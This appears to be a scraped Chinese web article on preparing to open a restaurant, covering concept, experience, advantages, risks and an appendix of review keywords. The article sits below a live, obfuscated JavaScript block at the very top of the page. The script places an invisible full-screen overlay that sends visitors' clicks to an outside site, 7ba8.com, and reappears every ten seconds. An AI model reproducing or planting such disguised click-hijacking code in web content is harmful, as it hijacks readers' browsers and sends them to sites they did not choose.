<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>首先最必要的是准备你自己的思路。
重点是你自己的！
一、你要卖哪种菜？ 中餐馆有很多种。
比如现在最流行的三大模式——铁板自助、传统热菜、日本料理。
细分的话又比如寿司亭，比如转带，比如午餐套餐等等。
如果只是问：我要开中餐应该准备什么？这种大而化之的问题真是叫人没法回答。那么怎么能具体帮到你呢？
如果你在对自己情况较为模糊的情况下，建议你完成以下基本思考：
WHY 为何要开店？ WHAT 做什么生意？ WHEN 打算什么时候开？营业时段打算放在什么时候？
WHO 谁会来买你的东西？雇佣什么样的店员？ WHERE 打算在哪里做生意？想去什么样的商圈？
HOT TO 打算以什么样的业态经营？ HOW MUCH 你目标的客单价是多少？预期的营业额有多少？
二、一些个人建议是：
如果你就是打工时间长了，厌倦了打工，积攒了些钱就开个店，我觉得这不太好，因为这只是逃避的一种方式，这种方式还会花不少钱。
没有任何经验就想开一个收入能比上工资的店，失败率不会太低，而且目前开店成本不算低，装修地段服务投入成本都越来越高。
到时候亏得越多，对你打击也越大，失败后可能会影响到你对自己的自信与生活。回头看看不如安稳打工，每月拿固定工资。
所以开店前最重要的还是经验的积累，比较打工和做老板面对的事和问题是完全不一样的。
建议既然有这个想法，就要针对性的主动去积累一些经验。去你心仪的店去打工吧，多少能学点有用的东西。
三、更重要的是你有什么优势和特色，帮你经营好这家店？
其实这才是最关键的，没有发掘优势店铺就没什么好做的，美食家蔡澜把这点叫做“做出名堂”。
之后才能建立比较详实的计划。之后才能谈行动。
优势包括但不限于：
你的亲朋好友有一家成熟的餐馆或企业
亲戚朋友很懂餐饮业的事
本地最好的一批厨师是你的朋友
自己有经营实务经验
有关系能保证客源
自己堪称美食家
懂商业装修很会营造气氛
特别会炒作话题（会刷点评不算） ……
发现自己优势后，就要结合这些优势，再去思考你要开什么类型与定位等问题。
四、必须清楚意识到有可能面临的问题。
什么事情都不肯能顺心顺意。为虑胜先虑败，想清楚自己的短板，一旦出现逆境，要尽量做到心有准备，最起码不会惊慌失措。
这一部分主要还是面对开一家餐馆这个目标的心理上的准备，看上去过于空泛，但在我看来，这是最基本的准备。
如果你连这方面还没有考虑好，再多的投资也好，选址也好都没有意义。
最多也不过是个湮灭在众多平庸餐厅中的普通餐馆，甚至很大可能最终熬不过创业期。
为了方便大家理解，附录送上一些网络点评网站上对于餐厅的一些关键词。希望能帮助到大家。
附录：
一些大众点评上对餐馆的特色优势提 「主观外部感受」 「去过很多次了」、「被写进旅游手册」、「百吃不厌」 「地道」、「正宗」、「老牌」、「典型」、「老铺」、「老字号」 「好吃的没话说」、「别处就是做不出来」、「口味一直很稳定」 「本地化的很有技巧」、「想大吃一顿的时候就会来」、「家常菜吃出了不普通」、「请客首选」、「聚餐常去」、「约会很合适」、「外地来朋友就会去」、「经过XX地必吃」 「菜品感受」 「当家产品」、「招牌菜」、「镇店名菜」、「以XX著称」、「每次必点」、「一般餐厅见不到」 「好大一份」、「物有所值」、「用料十足」、「火候到位」、「东西新鲜食材讲究」、「本地少见」、「从XX运过来」、「老板亲自去推荐的」 「嫩」、「浓郁醇厚」、「入味」、「清爽」、 、「恰到好处」 「服务特色」 「小菜赠送的很多」、「赠送的X特别好吃」、「附赠的蔬菜五颜六色」、「有个特价菜」 「菜像艺术品」、「摆盘精致」、「独特的体验」、「动手」、「好玩」、「现点现做」、「厨师当面服务」、「明档看得见厨师制作」 「环境气氛」 「人多」、「人气非常旺」、「等位」、「人满为患」、「停满了车」「环境气派」、「服务到位」、「很上档次」 「很有民族特色」、「很有XX的气氛」、「充满XX风情」、「表演精彩」 「门口有一个巨大的XX」、「进门就能看到」、「路过会注意到香味」 「价格感受」 「价格实惠」、「性价比高」、「酒水平价」 「负面特色」 「价格有点小贵」、「环境过得去吧」、「服务员爱理不理」、「有点油腻」、「和多数一样的菜」「一般」「没有以前好了」 |
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